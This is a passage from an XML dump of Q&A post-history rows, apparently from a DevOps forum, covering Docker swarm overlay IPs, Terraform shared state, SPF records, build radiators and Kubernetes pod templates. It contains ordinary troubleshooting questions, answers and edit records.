^C&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;On the nginx container:&#xD;&#xA;&#xD;&#xA;    [root@0ece6b958aa6 /]# ip a | grep -i &quot;10.0.22&quot;&#xD;&#xA;        inet 10.0.22.6/24 brd 10.0.22.255 scope global eth0&#xD;&#xA;    [root@0ece6b958aa6 /]# ping pimcore&#xD;&#xA;    PING pimcore (10.0.22.2) 56(84) bytes of data.&#xD;&#xA;    64 bytes from 10.0.22.2 (10.0.22.2): icmp_seq=1 ttl=64 time=0.036 ms&#xD;&#xA;    64 bytes from 10.0.22.2 (10.0.22.2): icmp_seq=2 ttl=64 time=0.065 ms&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Result:&#xD;&#xA;&#xD;&#xA;Pimcore says its own IP is 10.0.22.3 (which corresponds to the network inspect output) and that nginx' IP is 10.0.22.5 (which does not correspond).&#xD;&#xA;&#xD;&#xA;Nginx says its own IP is 10.0.22.6 (which corresponds to network inspect) and that pimcore's IP is 10.0.22.2 (which does not correspond).&#xD;&#xA;&#xD;&#xA;Containers seem to see other containers &quot;1 number off&quot;, in a way of speaking.&#xD;&#xA;&#xD;&#xA;My TCP/IP knowledge is definitely not high level, but this feels weird. Maybe someone can englighten me!" ContentLicense="CC BY-SA 4.0" />
  <row Id="27556" PostHistoryTypeId="1" PostId="9324" RevisionGUID="e7e5f3f4-1bd3-4f15-86f8-ac34f63052f3" CreationDate="2019-10-01T15:44:32.133" UserId="7646" Text="Docker container and their IPs on overlay (swarm) networks" ContentLicense="CC BY-SA 4.0" />
  <row Id="27557" PostHistoryTypeId="3" PostId="9324" RevisionGUID="e7e5f3f4-1bd3-4f15-86f8-ac34f63052f3" CreationDate="2019-10-01T15:44:32.133" UserId="7646" Text="&lt;docker&gt;&lt;networking&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27558" PostHistoryTypeId="2" PostId="9325" RevisionGUID="cf815f90-63f5-4e59-8906-1319c62b1fef" CreationDate="2019-10-01T15:57:34.660" UserId="15792" Text="There are some fundamental misunderstandings in your bullets which makes your question unclear:&#xD;&#xA;&#xD;&#xA; 1. Apple will not allow you to develop/build using a virtual system.  I believe this is a legal constraint.  That said, you can run pretty much anything in VirtualBox as long as you have a legally provided image (e.g. a Linux image).&#xD;&#xA; 2. You can only run the Windows base images if you are running [Windows Containers][1] which will be incompatible with MacOS systems.  If you want to build on MacOS using Docker you will need to use Linux containers.&#xD;&#xA;&#xD;&#xA;However, you can run your continuous-integration runners across Windows and Mac.  This is one of the major benefits of implementing runners in Docker for your CI tool.  Now if you have agents on Windows, MacOS, or even Linux, you can get a consistent build experience by using Docker. [This][2] official GitLab article has more about setting this up.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/docker-for-windows/#switch-between-windows-and-linux-containers&#xD;&#xA;  [2]: https://docs.gitlab.com/runner/install/docker.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="27559" PostHistoryTypeId="5" PostId="9324" RevisionGUID="9d39e391-a2ab-4532-8fb4-ab9301e01a62" CreationDate="2019-10-01T16:15:41.177" UserId="7646" Comment="deleted 22 characters in body" Text="I have a Docker overlay network which includes 2 containers and the loadbalancer for this network:&#xD;&#xA;&#xD;&#xA;        &quot;Containers&quot;: {&#xD;&#xA;            &quot;0ece6b958aa6b451478b5004ba1b1681ec91b718b99a0c2c88b79d5e8e135a66&quot;: {&#xD;&#xA;                &quot;Name&quot;: &quot;flvw_nginx.1.v9ycohipbvizlagm840o7jd0d&quot;,&#xD;&#xA;                &quot;EndpointID&quot;: &quot;0fba09c56d5098efb3a89645a5dce575a12b5f3496d3839ce4e34bb29bc60091&quot;,&#xD;&#xA;                &quot;MacAddress&quot;: &quot;02:42:0a:00:16:06&quot;,&#xD;&#xA;                &quot;IPv4Address&quot;: &quot;10.0.22.6/24&quot;,&#xD;&#xA;                &quot;IPv6Address&quot;: &quot;&quot;&#xD;&#xA;            },&#xD;&#xA;            &quot;25b2988afe5d0cf02f718831bf12858b3dccb875a3609804273da02bd4b422ac&quot;: {&#xD;&#xA;                &quot;Name&quot;: &quot;flvw_pimcore.1.j3m0i52sksg0fmhdawzhwwhei&quot;,&#xD;&#xA;                &quot;EndpointID&quot;: &quot;a2ea9ddcfba20b05017dda7a79af542ab09b0172a74f61be9fbb861fad39d008&quot;,&#xD;&#xA;                &quot;MacAddress&quot;: &quot;02:42:0a:00:16:03&quot;,&#xD;&#xA;                &quot;IPv4Address&quot;: &quot;10.0.22.3/24&quot;,&#xD;&#xA;                &quot;IPv6Address&quot;: &quot;&quot;&#xD;&#xA;            },&#xD;&#xA;            &quot;lb-flvw_app&quot;: {&#xD;&#xA;                &quot;Name&quot;: &quot;flvw_app-endpoint&quot;,&#xD;&#xA;                &quot;EndpointID&quot;: &quot;c4cf9798cd3d2d8ee11057176c9f7395fd81546860f97c2623cd7f5043104294&quot;,&#xD;&#xA;                &quot;MacAddress&quot;: &quot;02:42:0a:00:16:04&quot;,&#xD;&#xA;                &quot;IPv4Address&quot;: &quot;10.0.22.4/24&quot;,&#xD;&#xA;                &quot;IPv6Address&quot;: &quot;&quot;&#xD;&#xA;            }&#xD;&#xA;        },&#xD;&#xA;&#xD;&#xA;This states:&#xD;&#xA;&#xD;&#xA;    pimcore = 10.0.22.3&#xD;&#xA;    nginx = 10.0.22.6&#xD;&#xA;&#xD;&#xA;So I exec into the containers and the following commands.&#xD;&#xA;&#xD;&#xA;On the pimcore container:&#xD;&#xA;&#xD;&#xA;    [root@25b2988afe5d pimcore]# ip a | grep -i &quot;10.0.22&quot;&#xD;&#xA;        inet 10.0.22.3/24 brd 10.0.22.255 scope global eth0&#xD;&#xA;&#xD;&#xA;    [root@25b2988afe5d pimcore]# ping nginx&#xD;&#xA;    PING nginx (10.0.22.5) 56(84) bytes of data.&#xD;&#xA;    64 bytes from 10.0.22.5 (10.0.22.5): icmp_seq=1 ttl=64 time=0.062 ms&#xD;&#xA;    64 bytes from 10.0.22.5 (10.0.22.5): icmp_seq=2 ttl=64 time=0.052 ms&#xD;&#xA;    ^C&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;On the nginx container:&#xD;&#xA;&#xD;&#xA;    [root@0ece6b958aa6 /]# ip a | grep -i &quot;10.0.22&quot;&#xD;&#xA;        inet 10.0.22.6/24 brd 10.0.22.255 scope global eth0&#xD;&#xA;    [root@0ece6b958aa6 /]# ping pimcore&#xD;&#xA;    PING pimcore (10.0.22.2) 56(84) bytes of data.&#xD;&#xA;    64 bytes from 10.0.22.2 (10.0.22.2): icmp_seq=1 ttl=64 time=0.036 ms&#xD;&#xA;    64 bytes from 10.0.22.2 (10.0.22.2): icmp_seq=2 ttl=64 time=0.065 ms&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Result:&#xD;&#xA;&#xD;&#xA;Pimcore says its own IP is 10.0.22.3 (which corresponds to the network inspect output) and that nginx' IP is 10.0.22.5 (which does not correspond).&#xD;&#xA;&#xD;&#xA;Nginx says its own IP is 10.0.22.6 (which corresponds to network inspect) and that pimcore's IP is 10.0.22.2 (which does not correspond).&#xD;&#xA;&#xD;&#xA;Containers seem to see other containers &quot;1 number off&quot;, in a way of speaking.&#xD;&#xA;&#xD;&#xA;My TCP/IP knowledge is definitely not high level, but this feels weird. Maybe someone can englighten me!" ContentLicense="CC BY-SA 4.0" />
  <row Id="27560" PostHistoryTypeId="50" PostId="8511" RevisionGUID="d2a554a6-0fa3-4576-81cf-e62e84eacc48" CreationDate="2019-10-01T18:00:02.523" UserId="-1" />
  <row Id="27561" PostHistoryTypeId="6" PostId="9267" RevisionGUID="4322a176-2b78-49bc-804e-08d2954e2712" CreationDate="2019-10-01T20:21:27.427" UserId="739" Comment="add terminology and git tags" Text="&lt;continuous-integration&gt;&lt;git&gt;&lt;terminology&gt;&lt;continuous-delivery&gt;&lt;scm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27562" PostHistoryTypeId="5" PostId="5104" RevisionGUID="8f08e5dc-e1dc-4e40-941a-2ffa31a4d5ee" CreationDate="2019-10-01T20:21:43.153" UserId="4852" Comment="Formatting" Text="I have various Jenkins agents images and I am trying to add automation to it.&#xD;&#xA;&#xD;&#xA;I have a base java image called `agent-base` and those who inherit from that one e.g. `agent-ansible`, `agent-terraform` and so on. In some case, I even have a 3rd level.&#xD;&#xA;&#xD;&#xA;I have many unanswered questions in my head so I will just throw them in here.&#xD;&#xA;&#xD;&#xA;- What would be the best way to update the child images when a parent is updated? Downstream pipelines perhaps?&#xD;&#xA;- Or should I keep all the Dockerfiles in a single repository and have a script that know the images hierarchy?&#xD;&#xA;- More importantly, how should I tag (version) my child images? Should it contain my parents version too? In the tag itself or as labels.&#xD;&#xA;&#xD;&#xA;Thank you" ContentLicense="CC BY-SA 4.0" />
  <row Id="27563" PostHistoryTypeId="24" PostId="5104" RevisionGUID="8f08e5dc-e1dc-4e40-941a-2ffa31a4d5ee" CreationDate="2019-10-01T20:21:43.153" Comment="Proposed by 4852 approved by 40, 739 edit id of 1084" ContentLicense="CC BY-SA 4.0" />
  <row Id="27564" PostHistoryTypeId="5" PostId="9324" RevisionGUID="0a8421b3-d575-414e-9a57-f65cd5165fb6" CreationDate="2019-10-02T05:51:11.480" UserId="7646" Comment="Added a &quot;why&quot;" Text="I have a Docker overlay network which includes 2 containers and the loadbalancer for this network:&#xD;&#xA;&#xD;&#xA;        &quot;Containers&quot;: {&#xD;&#xA;            &quot;0ece6b958aa6b451478b5004ba1b1681ec91b718b99a0c2c88b79d5e8e135a66&quot;: {&#xD;&#xA;                &quot;Name&quot;: &quot;flvw_nginx.1.v9ycohipbvizlagm840o7jd0d&quot;,&#xD;&#xA;                &quot;EndpointID&quot;: &quot;0fba09c56d5098efb3a89645a5dce575a12b5f3496d3839ce4e34bb29bc60091&quot;,&#xD;&#xA;                &quot;MacAddress&quot;: &quot;02:42:0a:00:16:06&quot;,&#xD;&#xA;                &quot;IPv4Address&quot;: &quot;10.0.22.6/24&quot;,&#xD;&#xA;                &quot;IPv6Address&quot;: &quot;&quot;&#xD;&#xA;            },&#xD;&#xA;            &quot;25b2988afe5d0cf02f718831bf12858b3dccb875a3609804273da02bd4b422ac&quot;: {&#xD;&#xA;                &quot;Name&quot;: &quot;flvw_pimcore.1.j3m0i52sksg0fmhdawzhwwhei&quot;,&#xD;&#xA;                &quot;EndpointID&quot;: &quot;a2ea9ddcfba20b05017dda7a79af542ab09b0172a74f61be9fbb861fad39d008&quot;,&#xD;&#xA;                &quot;MacAddress&quot;: &quot;02:42:0a:00:16:03&quot;,&#xD;&#xA;                &quot;IPv4Address&quot;: &quot;10.0.22.3/24&quot;,&#xD;&#xA;                &quot;IPv6Address&quot;: &quot;&quot;&#xD;&#xA;            },&#xD;&#xA;            &quot;lb-flvw_app&quot;: {&#xD;&#xA;                &quot;Name&quot;: &quot;flvw_app-endpoint&quot;,&#xD;&#xA;                &quot;EndpointID&quot;: &quot;c4cf9798cd3d2d8ee11057176c9f7395fd81546860f97c2623cd7f5043104294&quot;,&#xD;&#xA;                &quot;MacAddress&quot;: &quot;02:42:0a:00:16:04&quot;,&#xD;&#xA;                &quot;IPv4Address&quot;: &quot;10.0.22.4/24&quot;,&#xD;&#xA;                &quot;IPv6Address&quot;: &quot;&quot;&#xD;&#xA;            }&#xD;&#xA;        },&#xD;&#xA;&#xD;&#xA;This states:&#xD;&#xA;&#xD;&#xA;    pimcore = 10.0.22.3&#xD;&#xA;    nginx = 10.0.22.6&#xD;&#xA;&#xD;&#xA;So I exec into the containers and the following commands.&#xD;&#xA;&#xD;&#xA;On the pimcore container:&#xD;&#xA;&#xD;&#xA;    [root@25b2988afe5d pimcore]# ip a | grep -i &quot;10.0.22&quot;&#xD;&#xA;        inet 10.0.22.3/24 brd 10.0.22.255 scope global eth0&#xD;&#xA;&#xD;&#xA;    [root@25b2988afe5d pimcore]# ping nginx&#xD;&#xA;    PING nginx (10.0.22.5) 56(84) bytes of data.&#xD;&#xA;    64 bytes from 10.0.22.5 (10.0.22.5): icmp_seq=1 ttl=64 time=0.062 ms&#xD;&#xA;    64 bytes from 10.0.22.5 (10.0.22.5): icmp_seq=2 ttl=64 time=0.052 ms&#xD;&#xA;    ^C&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;On the nginx container:&#xD;&#xA;&#xD;&#xA;    [root@0ece6b958aa6 /]# ip a | grep -i &quot;10.0.22&quot;&#xD;&#xA;        inet 10.0.22.6/24 brd 10.0.22.255 scope global eth0&#xD;&#xA;    [root@0ece6b958aa6 /]# ping pimcore&#xD;&#xA;    PING pimcore (10.0.22.2) 56(84) bytes of data.&#xD;&#xA;    64 bytes from 10.0.22.2 (10.0.22.2): icmp_seq=1 ttl=64 time=0.036 ms&#xD;&#xA;    64 bytes from 10.0.22.2 (10.0.22.2): icmp_seq=2 ttl=64 time=0.065 ms&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Result:&#xD;&#xA;&#xD;&#xA;Pimcore says its own IP is 10.0.22.3 (which corresponds to the network inspect output) and that nginx' IP is 10.0.22.5 (which does not correspond).&#xD;&#xA;&#xD;&#xA;Nginx says its own IP is 10.0.22.6 (which corresponds to network inspect) and that pimcore's IP is 10.0.22.2 (which does not correspond).&#xD;&#xA;&#xD;&#xA;Containers seem to see other containers &quot;1 number off&quot;, in a way of speaking. Why?&#xD;&#xA;&#xD;&#xA;My TCP/IP knowledge is definitely not high level, but this feels weird. Maybe someone can englighten me!" ContentLicense="CC BY-SA 4.0" />
  <row Id="27565" PostHistoryTypeId="5" PostId="9323" RevisionGUID="8d7fcc7e-6c19-40c1-b94d-2efc31a32b1f" CreationDate="2019-10-02T05:51:50.497" UserId="15792" Comment="Styling and grammar edits" Text="`docker image inspect` - will show available information on the container ([docs][1])&#xD;&#xA;&#xD;&#xA;`docker image history [your OPTIONS] imagename` - Shows history of the container ([docs][2])&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/engine/reference/commandline/image_inspect/&#xD;&#xA;  [2]: https://docs.docker.com/engine/reference/commandline/image_history/" ContentLicense="CC BY-SA 4.0" />
  <row Id="27566" PostHistoryTypeId="24" PostId="9323" RevisionGUID="8d7fcc7e-6c19-40c1-b94d-2efc31a32b1f" CreationDate="2019-10-02T05:51:50.497" Comment="Proposed by 15792 approved by 40, 46 edit id of 1085" ContentLicense="CC BY-SA 4.0" />
  <row Id="27567" PostHistoryTypeId="2" PostId="9326" RevisionGUID="273d028e-5555-4a65-b2e4-15066a9caab9" CreationDate="2019-10-02T06:05:48.577" UserId="15187" Text="We started using Terraform to create VMs in some Cloud Providers. &#xD;&#xA;&#xD;&#xA;But we are a team with several people. &#xD;&#xA;&#xD;&#xA;Terraform has a state file. &#xD;&#xA;&#xD;&#xA;Whenever someone changes something via Terraform, ex.: creating, decomming VMs, that state file need to be again sent to the others too, or else, when the others open their terraform, it will re-create the decommed VMs or destroy existing ones since they had old state file. &#xD;&#xA;&#xD;&#xA;**So the big question is:** Can Terraform pull down the newest state file by itself? Or manually, before doing anything, humans needs to be trusted to &quot;always download the newest state file&quot;? Humans will make mistakes.." ContentLicense="CC BY-SA 4.0" />
  <row Id="27568" PostHistoryTypeId="1" PostId="9326" RevisionGUID="273d028e-5555-4a65-b2e4-15066a9caab9" CreationDate="2019-10-02T06:05:48.577" UserId="15187" Text="Distributed Terraform state file?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27569" PostHistoryTypeId="3" PostId="9326" RevisionGUID="273d028e-5555-4a65-b2e4-15066a9caab9" CreationDate="2019-10-02T06:05:48.577" UserId="15187" Text="&lt;terraform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27570" PostHistoryTypeId="2" PostId="9327" RevisionGUID="d3b2c02c-6624-4e7e-8cb7-77debd2e1e84" CreationDate="2019-10-02T06:17:39.463" UserId="12833" Text="Did you try to use remote state storage like [S3][1]? &#xD;&#xA;&#xD;&#xA;Also you can use [Terraform Cloud][2] to organzie workflow and have shared state. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.terraform.io/docs/backends/types/s3.html&#xD;&#xA;  [2]: https://www.terraform.io/docs/cloud/index.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="27571" PostHistoryTypeId="2" PostId="9328" RevisionGUID="2603684e-12f8-4af3-bd77-c59b6a0decf4" CreationDate="2019-10-02T06:30:02.673" UserId="12833" Text="When you `ping nginx` the docker swarm returns Virual IP of swarm service named &quot;nginx&quot; not the container ip. &#xD;&#xA;&#xD;&#xA;This is is how internal load balancer works - you can have multiple replicas of &quot;nginx&quot; containers behind the &quot;nginx&quot; [service][1]. &#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/engine/swarm/how-swarm-mode-works/services/&#xD;&#xA;  [2]: https://i.stack.imgur.com/CDR4P.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="27572" PostHistoryTypeId="50" PostId="8016" RevisionGUID="dbd64954-ee83-44ad-8bca-b3049c4a1592" CreationDate="2019-10-02T08:03:10.470" UserId="-1" />
  <row Id="27573" PostHistoryTypeId="5" PostId="9327" RevisionGUID="1d85a511-b592-406e-8697-f77067c34ce4" CreationDate="2019-10-02T08:26:00.817" UserId="12833" Comment="added 4 characters in body" Text="Did you try to use remote state storage like [S3][1]? &#xD;&#xA;&#xD;&#xA;Also you can use [Terraform Cloud][2] to organzie workflow and have the shared state. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.terraform.io/docs/backends/types/s3.html&#xD;&#xA;  [2]: https://www.terraform.io/docs/cloud/index.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="27582" PostHistoryTypeId="2" PostId="9329" RevisionGUID="e352c492-ce52-4343-9071-7f173dd549ff" CreationDate="2019-10-02T09:32:13.203" UserId="2729" Text="When I lookup your domain thuijls.net on [MXToolBox][1] I get the following messageL&#xD;&#xA;&#xD;&#xA;**Dns record not found**&#xD;&#xA;&#xD;&#xA;They explain this to mean:&#xD;&#xA;&#xD;&#xA;&gt; More Information About Dns Record Published&lt;br/&gt;&#xD;&#xA;We did not find a SPF (TXT) record for the domain. Either you are using the deprecated type &quot;SPF&quot; record (in which case you will see a warning message for this alongside this message) or no record exists.&#xD;&#xA;&gt;&#xD;&#xA;&gt; For a SPF record to be valid, it must at least contain v=spf1&#xD;&#xA;&#xD;&#xA;A TXT lookup for thuijls.net yeilds: &#xD;&#xA;&#xD;&#xA;`Type	Domain Name		TTL		Record`&lt;br/&gt;&#xD;&#xA;`TXT	thuijls.net		5 min	v=spf1 include:spf.messagingengine.com ?all`&#xD;&#xA;                                &#xD;&#xA;The problem is the ?all - you probably copy-pasted this from somewhere and the (non-standard) hyphen became a question mark.&#xD;&#xA;&#xD;&#xA;Edit your TX record to read `v=spf1 include:spf.messagingengine.com -all` and all will be good.&#xD;&#xA;&#xD;&#xA;Then you can add a 2nd TXT entry for your  `&quot;protonmail-verification-da.....&quot;` setting.&#xD;&#xA;&#xD;&#xA;  [1]: https://mxtoolbox.com/SuperTool.aspx?action=a%3Athuijls.net&amp;run=toolpage#" ContentLicense="CC BY-SA 4.0" />
  <row Id="27583" PostHistoryTypeId="2" PostId="9330" RevisionGUID="09bf205d-f90a-45b0-ab6a-4a43eb2b7525" CreationDate="2019-10-02T09:52:46.263" UserId="9586" Text="So, I've been asked to bring our companies rather old build radiators upto standard so it reflects what our current toolstack looks like.&#xD;&#xA;However, we're currently inside a weird limbo between using both Jenkins and Bamboo. &#xD;&#xA;&#xD;&#xA;Is there an opensource, off the shelf build radiator that can interact with both Bamboo and Jenkins? I've already had a crack at making my own system and decided that my JS skills are not upto the task.&#xD;&#xA;&#xD;&#xA;Not essential but bonus points for pulling metrics from other sources like SonarQube and Jira..." ContentLicense="CC BY-SA 4.0" />
  <row Id="27584" PostHistoryTypeId="1" PostId="9330" RevisionGUID="09bf205d-f90a-45b0-ab6a-4a43eb2b7525" CreationDate="2019-10-02T09:52:46.263" UserId="9586" Text="Info Radiators for Jenkins&amp; Bamboo" ContentLicense="CC BY-SA 4.0" />
  <row Id="27585" PostHistoryTypeId="3" PostId="9330" RevisionGUID="09bf205d-f90a-45b0-ab6a-4a43eb2b7525" CreationDate="2019-10-02T09:52:46.263" UserId="9586" Text="&lt;jenkins&gt;&lt;bitbucket&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27590" PostHistoryTypeId="50" PostId="5929" RevisionGUID="795d8f89-cb6b-46dc-b63f-e7fa90358f9e" CreationDate="2019-10-02T13:02:05.287" UserId="-1" />
  <row Id="27591" PostHistoryTypeId="2" PostId="9333" RevisionGUID="f87474c6-16be-4189-81bc-ff9b97594087" CreationDate="2019-10-02T13:24:51.677" UserId="17393" Text="I don't know of a built-in way but here are two hacks:&#xD;&#xA;&#xD;&#xA;You can look at the 'https:/ /dev.azure.com/{organization}/_settings/audit' page, then  set the date range to what you want and manually count.&#xD;&#xA;&#xD;&#xA;An automated way of doing that, could use the [ADO REST API and send a Query][1] to the Audit log, then use a bit of code to tally up the unique users from the response. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/rest/api/azure/devops/audit/audit%20log/query?view=azure-devops-rest-5.1" ContentLicense="CC BY-SA 4.0" />
  <row Id="27592" PostHistoryTypeId="2" PostId="9334" RevisionGUID="0d24a149-7b79-45dc-9e19-2e90134eb94b" CreationDate="2019-10-02T14:00:03.703" UserId="16830" Text="I had this problem when I needed to build something at home.&#xD;&#xA;&#xD;&#xA;What I did:&#xD;&#xA;&#xD;&#xA;- installed docker in a Ubuntu server VM&#xD;&#xA;- installed docker in a windows server 2016 VM (if you need windows containers like i did)&#xD;&#xA;&#xD;&#xA;THEN: &#xD;&#xA;In the Ubuntu machine:&#xD;&#xA;&#xD;&#xA;-  I created a local registry running in a container (1 command :)  )&#xD;&#xA;- I spin up a container with a git server - I &quot;linked&quot; the configuration folder to a folder in my machine for persistence.  &#xD;&#xA;- I spinn a container with jenkins server (same trick with the folder)&#xD;&#xA;- I spin up containers with slaves&#xD;&#xA;- I have a database container attached to a nexus container for artifacts and build dependencies&#xD;&#xA;&#xD;&#xA;In windows VM : &#xD;&#xA;&#xD;&#xA;- I spin a jenkins slave container to build windows apps &#xD;&#xA;- I spin IIS machines to test the built app&#xD;&#xA;&#xD;&#xA;My home computer is 32 GB ram / core i7 and it works great , even with windows container databases (these are monstrous) &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Tricky for me - work in progress - build a container in a slave running in a container . It can be done but I am on googling phase.&#xD;&#xA;&#xD;&#xA;Advantages:&#xD;&#xA;&#xD;&#xA;- if you use docker compose and you save your containers in the local registry you get to move your work easily . I always version my docker compose files in a github repo.&#xD;&#xA;- you can pause the VM host and move everything in some other host. &#xD;&#xA;- you can branch your things for having a test env by cloning the machine and copying the host folders&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27593" PostHistoryTypeId="5" PostId="9333" RevisionGUID="cb613c74-0969-4370-9369-3f17055cdacc" CreationDate="2019-10-02T15:58:06.360" UserId="2805" Comment="grammar and highlight" Text="I don't know of a built-in way but here are two hacks:&#xD;&#xA;&#xD;&#xA;You can look at the `https://dev.azure.com/{organization}/_settings/audit` page, then set the date range to what you want and manually count.&#xD;&#xA;&#xD;&#xA;An automated way of doing that could be to use the [ADO REST API and send a Query][1] to get the Audit log, then use a bit of code to tally up the unique users from the response. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/rest/api/azure/devops/audit/audit%20log/query?view=azure-devops-rest-5.1" ContentLicense="CC BY-SA 4.0" />
  <row Id="27594" PostHistoryTypeId="24" PostId="9333" RevisionGUID="cb613c74-0969-4370-9369-3f17055cdacc" CreationDate="2019-10-02T15:58:06.360" Comment="Proposed by 2805 approved by -1 edit id of 1086" ContentLicense="CC BY-SA 4.0" />
  <row Id="27595" PostHistoryTypeId="5" PostId="9333" RevisionGUID="a5438871-3da4-4428-84a1-f5bcd1137269" CreationDate="2019-10-02T15:58:06.360" UserId="40" Comment="deleted 8 characters in body" Text="I don't know of a built-in way but here are two hacks:&#xD;&#xA;&#xD;&#xA;You can look at `https://dev.azure.com/{organization}/_settings/audit` , then set the date range to what you want and manually count.&#xD;&#xA;&#xD;&#xA;An automated way of doing that could be to use the [ADO REST API and send a Query][1] to get the Audit log, then use a bit of code to tally up the unique users from the response. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/rest/api/azure/devops/audit/audit%20log/query?view=azure-devops-rest-5.1" ContentLicense="CC BY-SA 4.0" />
  <row Id="27596" PostHistoryTypeId="5" PostId="9320" RevisionGUID="b60b14b3-89d1-4654-a333-272160cfa0b8" CreationDate="2019-10-02T16:00:36.537" UserId="40" Comment="added 3 characters in body" Text="I want to improve my current dev CI workflow, I would like to create a server with ISPConfig and some kind of CI tool like Jenkins&#xD;&#xA;&#xD;&#xA;The catch is It has to all sit on 1 server, I see folks saying jenkins needs its own server but im just wondering is that a hard set rule or what.&#xD;&#xA;&#xD;&#xA;Or has anyone got any tips on other tools to use which would work better with bitbucket or bitbucket pipelines?&#xD;&#xA;&#xD;&#xA;My current setup has been a maze of bash scripts which get triggered when a dev pushes to the master branch but it's not very convenient for updates or adding new sites etc so id love to hear what other people are using to simplify the process of pushing to staging/dev ." ContentLicense="CC BY-SA 4.0" />
  <row Id="27603" PostHistoryTypeId="50" PostId="6916" RevisionGUID="bd00e2ac-d404-48ac-bafb-8a672990c015" CreationDate="2019-10-02T19:00:50.517" UserId="-1" />
  <row Id="27604" PostHistoryTypeId="2" PostId="9337" RevisionGUID="b58e952a-1ef4-489e-8873-5e452a47480b" CreationDate="2019-10-02T20:00:36.637" UserId="15792" Text="It really depends on what information you are trying to &quot;Radiate&quot;:&#xD;&#xA;&#xD;&#xA;For an off-the-shelf solution that integrates with everything you mentioned you could check out Prometheus.  It has plugins for [Jira][1], [Bamboo][2], [Jenkins][3], and [SonarQube][4].&#xD;&#xA;&#xD;&#xA;You could also opt for something quite a bit simpler and use the built in dashboards for the tools you are trying to display metrics for.  Just put them on different tabs and use an extension such as [Revolver][7].&#xD;&#xA;&#xD;&#xA;If you want to get a little more customized you can check out Elastic Stack's [Kibana][5].  The book [Agile Metrics in Action][6] has several examples of how to capture and display Atlassian data inside of Kibana.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://marketplace.atlassian.com/apps/1217960/prometheus-exporter-for-jira?hosting=server&amp;tab=overview&#xD;&#xA;  [2]: https://marketplace.atlassian.com/apps/1218725/prometheus-exporter-for-bamboo?hosting=server&amp;tab=overview&#xD;&#xA;  [3]: https://plugins.jenkins.io/prometheus&#xD;&#xA;  [4]: https://github.com/dmeiners88/sonarqube-prometheus-exporter&#xD;&#xA;  [5]: https://www.elastic.co/products/kibana&#xD;&#xA;  [6]: https://www.manning.com/books/agile-metrics-in-action&#xD;&#xA;  [7]: https://chrome.google.com/webstore/detail/revolver-tabs/dlknooajieciikpedpldejhhijacnbda" ContentLicense="CC BY-SA 4.0" />
  <row Id="27610" PostHistoryTypeId="2" PostId="9339" RevisionGUID="333118fa-6f59-4964-9e5e-9d783edc416d" CreationDate="2019-10-03T09:01:36.290" UserId="17407" Text="I've been looking at Deployments descriptions in Kubernetes. In the tutorials I've found, the definition of the replicated pods are always a copy-paste of a pod template file.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Is it possibleto rather use a reference to the yaml file (or a url) defining a pod ? (I didn't found any resource telling so)&#xD;&#xA;&#xD;&#xA;If yes, should it be avoided ? (in order to keep label/selector in the same file for example) &#xD;&#xA;&#xD;&#xA;If no, is there a reason ? (because kubernetes wouldn't know if you modified the pod template file for example)." ContentLicense="CC BY-SA 4.0" />
  <row Id="27611" PostHistoryTypeId="1" PostId="9339" RevisionGUID="333118fa-6f59-4964-9e5e-9d783edc416d" CreationDate="2019-10-03T09:01:36.290" UserId="17407" Text="Use a pod template file in a Deployment (K8s)" ContentLicense="CC BY-SA 4.0" />
  <row Id="27612" PostHistoryTypeId="3" PostId="9339" RevisionGUID="333118fa-6f59-4964-9e5e-9d783edc416d" CreationDate="2019-10-03T09:01:36.290" UserId="17407" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27613" PostHistoryTypeId="2" PostId="9340" RevisionGUID="a3fead44-01c5-4f45-9b32-e6bb96727f88" CreationDate="2019-10-03T10:50:48.510" UserId="17413" Text="I have a molecule scenario that creates 3 docker instances, each having a different configuration from the same role. The three communicates with each other as I put the instances IP addresses in their respective configuration files.&#xD;&#xA;&#xD;&#xA;I need to test that the correct IP address is set the config files of each instance.&#xD;&#xA;&#xD;&#xA;How can I access ansible group and host variables from goss?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27614" PostHistoryTypeId="1" PostId="9340" RevisionGUID="a3fead44-01c5-4f45-9b32-e6bb96727f88" CreationDate="2019-10-03T10:50:48.510" UserId="17413" Text="How to access hostvars from goss test with molecule" ContentLicense="CC BY-SA 4.0" />
  <row Id="27615" PostHistoryTypeId="3" PostId="9340" RevisionGUID="a3fead44-01c5-4f45-9b32-e6bb96727f88" CreationDate="2019-10-03T10:50:48.510" UserId="17413" Text="&lt;molecule&gt;" ContentLicense="CC BY-SA 4.0" />
